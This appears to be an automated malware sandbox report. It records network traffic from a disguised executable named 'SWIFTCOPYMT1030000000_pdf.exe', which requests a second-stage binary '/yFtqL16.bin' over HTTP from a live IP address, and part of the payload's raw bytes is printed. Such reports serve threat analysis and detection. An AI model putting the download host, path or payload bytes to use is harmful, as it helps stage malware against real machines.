Apr 26, 2024 13:39:22.377927065 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.377927065 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.377927065 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.377927065 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.377929926 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.377940893 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.377962112 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.378020048 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.378031015 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.378041983 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.378052950 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.378091097 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.378096104 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.378221035 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.378266096 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.378266096 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.378266096 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.378272057 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.378283024 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.378293991 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.378304958 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.378341913 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.378396988 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.378468037 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.378540039 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.378552914 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.378563881 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.378606081 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.378606081 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.378606081 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.378720999 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.378774881 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.378776073 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.378786087 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.378797054 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.378808022 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.378818989 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.378879070 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.378890038 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.378901005 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.378911972 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.378947020 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.378947020 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.378947020 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.378947020 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.378947020 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.378966093 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.379021883 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.379116058 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.379116058 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.379116058 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.379116058 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.379127026 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.379244089 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.379255056 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.379285097 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.379285097 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.379295111 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.379306078 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.379317045 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.379328012 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.379348993 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.379403114 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.379414082 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.379425049 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.379436016 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.379446983 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.379456997 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.379456997 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.379456997 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.379456997 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.379457951 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.379498959 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.379511118 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.379616022 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.379626989 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.379626989 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.379626989 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.379626989 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.379626989 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.379626989 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.379626989 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.379626989 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.379641056 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.379755974 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.379767895 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.379795074 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.379892111 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.379904032 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.379965067 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.379966021 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.380136013 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.380136013 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.380255938 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.380268097 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.380342007 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.380466938 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.380475044 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.380594015 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.380645990 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.380645990 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.380645990 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.380657911 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.380765915 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.380815983 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.380815983 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.380815983 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.380815983 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.380966902 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.381021023 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.381108046 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.381155014 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.381155014 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.381155014 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.381258011 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.381268978 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.381279945 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.381290913 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.381302118 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.381313086 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.381324053 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.381325006 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.381356001 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.381464958 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.381495953 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.381495953 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.381495953 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.381495953 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.381495953 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.381527901 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.381540060 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.381834984 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.381834984 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.616591930 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.616621971 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.616645098 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.616681099 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.616703033 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.616858006 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.616885900 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.616914034 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.616914034 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.617069960 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.617079973 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.617095947 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.617117882 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.617140055 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.617254972 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.617275953 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.617304087 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.617324114 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.617345095 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.617403030 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.617428064 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.617463112 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.617599964 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.617687941 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.617743015 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.617764950 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.617763996 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.617785931 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.617805958 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.617825985 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.617846012 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.617885113 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.617908955 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.617933035 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.617938042 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.617938042 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.617957115 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.618052959 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.618077993 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.618100882 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.618123055 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.618124008 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.618123055 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.618123055 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.618123055 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.618123055 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.618123055 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.618149996 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.618174076 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.618197918 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.618221045 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.618243933 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.618268013 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.618288994 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.618290901 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.618314981 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.618338108 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.618361950 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.618385077 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.618407965 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.618421078 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.618421078 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.618421078 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.618421078 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.618421078 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.618432045 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.618478060 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.618500948 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.618525028 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.618634939 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.618635893 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.618635893 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.618635893 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.618635893 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.618635893 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.618755102 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.618779898 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.618799925 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.618803978 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.618828058 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.618850946 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.618875027 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.618897915 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.618973970 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.618973970 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.618988991 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.619014025 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.619038105 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.619061947 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.619116068 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.619116068 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.619116068 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.619116068 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.619229078 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.619260073 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.619285107 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.619286060 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.619286060 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.619286060 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.619286060 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.619308949 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.619333029 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.619357109 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.619379997 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.619405031 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.619429111 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.619452953 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.619457006 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.619457006 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.619457006 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.619457006 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.619476080 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.619501114 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.619524956 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.619582891 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.619607925 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.619628906 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.619630098 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.619630098 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.619630098 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.619630098 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.619630098 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.619796991 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.619973898 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.623322010 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.623394966 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:22.623516083 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:22.623678923 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:27.375230074 CEST	80	50341	94.156.8.104	192.168.11.20
Apr 26, 2024 13:39:27.375511885 CEST	50341	80	192.168.11.20	94.156.8.104
Apr 26, 2024 13:39:57.370256901 CEST	80	50341	94.156.8.104	192.168.11.20

HTTP Request Dependency Graph

94.156.8.104

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	50341	94.156.8.104	80	1268	C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Apr 26, 2024 13:39:21.111854076 CEST	168	OUT	GET /yFtqL16.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: 94.156.8.104 Cache-Control: no-cache
Apr 26, 2024 13:39:21.364439964 CEST	1289	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 11:39:21 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Thu, 25 Apr 2024 23:00:20 GMT ETag: "78c40-616f3c0562900" Accept-Ranges: bytes Content-Length: 494656 Content-Type: application/octet-stream Data Raw: 74 aa b7 e9 3c fc 69 b3 b9 49 f4 02 63 47 3a be fb 93 8f fd f4 7d 54 c2 d7 0f 65 1c fd 66 f0 97 15 f3 7e ad 95 2b 7d 0a 98 24 1b 4f cc 83 f0 ae ec 5a 2e 2e 82 2d c7 5a 7a 17 52 3f fe c8 06 fa ed a3 fa 6c 0a c3 86 ae eb 4f 47 69 0d 3f bb 11 e0 6b c8 f4 bd 97 0f 48 e4 c2 4f a9 65 2f 2f 16 38 a5 eb 41 23 2f 7c 8b cd 3b 3c 8c ab f1 63 0b 09 af 65 18 01 22 94 1d 78 3f 73 52 9b 99 7c 33 49 83 c5 69 67 46 09 30 c8 ac 02 83 8a 38 4c 56 af 8e 17 cd 1f 73 f1 a2 8c 89 fc 21 d4 91 04 15 c4 2b ff 21 c9 c0 8b fa 59 eb d5 ad 39 a9 ea fa 66 dc 91 e7 38 6e 92 db d7 fd 64 0a c2 ec e7 c0 e6 bc 74 6f c3 56 d7 ad 74 5a 29 f7 06 07 8d 10 3a 50 7f fc e3 57 d8 da 1e e3 52 92 fb 74 b9 e6 91 e9 bb a3 50 18 64 ff 6b 12 1b 70 67 0e 37 4b 3b ed 96 fb ae 9c 34 08 fd 7e a0 bc bb 46 79 bb 98 b7 9c 64 1a 40 71 17 1a 98 a2 59 04 c7 69 fd 05 3e 86 a8 c7 c9 17 c1 f7 56 18 99 86 49 19 76 a6 a5 85 70 e5 d7 58 de 64 19 a9 8a 6e ac c7 1e 36 73 54 a8 65 48 c9 56 19 bf c7 ae 76 bf 21 87 d9 f6 02 1d 0a 7a 8b 47 eb f9 d9 65 35 b2 94 f2 51 a2 18 8a 9b 29 31 92 7c fd 82 70 44 dd a6 3c 1b f2 b6 be 97 11 83 d9 8b 44 7b 16 a9 d5 75 f7 60 cf 25 b6 d1 f6 9d 4b 64 f0 eb 14 9f d4 c5 d8 5a d6 5b cf df 79 f1 be 21 6b 41 9b 6d d3 7b 57 32 9b c9 ba d9 b2 32 6e 41 09 89 97 01 ea 50 b7 78 31 d7 54 92 5c 31 49 02 d1 43 f7 75 ff 60 aa 6a a6 cf 98 f2 29 44 02 2d b1 0b 11 fb 99 82 55 67 79 0b 8a 3f a3 f7 62 57 e6 03 3c 0f 6f 39 b8 5a 22 f4 a4 8f eb 63 1b b5 22 95 81 a5 0b 49 81 d2 f0 4e 7c f9 da 34 cb f9 13 db b3 ca 3c 2c 88 54 2a 3b b7 d8 05 81 73 5f 14 3a 17 af 5b 14 8c cd b9 c8 bf 23 f9 30 6d f0 bd 44 8c 03 00 1d 83 2a 4c 27 e5 0a 32 fa 5a 4b 17 b0 32 e1 c2 26 8e ce 53 29 5e e2 f0 2f 21 f0 cf eb 8e 61 01 36 9f 6f 66 6a 0b bd 5d e9 2d 14 d1 e2 2b ae 41 45 0d 19 eb 26 2d 52 9c 2b bf 76 02 65 4b 5c 5e 4b 86 a3 ad 9a dd 68 3c 43 ff 8b c3 22 09 23 f3 31 c9 a9 44 cc 9b 06 c1 1a 34 79 53 82 f2 e0 d8 86 2c 3b 77 6e dc 1c 14 70 90 9f c8 f6 b4 a0 26 f5 ba d1 9b f8 aa 41 b2 4a b5 e8 b8 4d 7d f1 f9 49 78 e0 c7 97 a2 6f 93 c1 53 bb cd 03 27 69 27 05 d3 eb 4f b8 c2 52 62 6b 3d aa 1e 45 2a 88 59 b3 8e 72 d4 08 99 4b 9e 08 65 7b d0 4c 4c c4 79 81 f4 0b bb 9e 72 94 59 55 e1 10 d4 3d 97 d8 99 4a 0b 0f 27 94 d0 9f 30 13 fd 9c 12 6c 6b ae 44 46 2c 2f cf 28 27 e4 0b b8 26 62 ba cb 73 a2 df f7 61 d4 db 69 ec ec bc 0f e0 0b 9d 9a 14 46 c2 a4 ac 81 a6 1e f6 d8 62 f5 90 eb fb 12 1a a1 87 df 00 e4 cc 99 13 3c e8 0e dd 72 e9 fb 0e 2b e5 f5 4d 9f e5 44 0b 4f d6 5b 2d 4c 5b eb 03 10 a2 e3 93 93 41 0a 30 d2 c6 be fb 97 44 bf 73 a5 97 27 85 2d 08 6c de 5a 1f 4c b9 47 ab 4f 71 66 0f 5a a1 d3 be bf 03 55 40 05 a3 b7 cb c9 98 c0 03 d9 61 6f 93 4a 27 95 52 e2 6c 29 12 10 a3 2e 3f ae fc 2b d4 29 b9 99 e3 e8 24 55 61 63 fb a7 c4 04 03 13 6f bb e6 73 79 d5 89 8a 0c bf da d8 7b 9d c2 3d 67 d9 e5 37 fe 83 66 31 13 4e 44 e5 f5 e4 14 e5 f5 6c 46 4d c1 eb 5f fb 88 82 84 b9 0a a7 9e c5 87 e7 15 bd 9e 03 18 90 8f e9 ea 4e d8 00 33 be 1b 65 42 8e a9 d2 aa f5 e7 f7 12 14 29 ab 40 e6 f8 e4 f6 a7 99 0a 08 e7 83 80 f6 f9 cd 40 aa ec 76 30 13 35 12 ef 8e 04 65 d1 a7 27 70 cb 9e 0b f6 75 4c ea 98 63 49 d4 f2 a8 85 0a 63 16 5c 58 f0 1f f7 95 84 b0 4a ed 09 c9 ef ec 88 31 f6 Data Ascii: 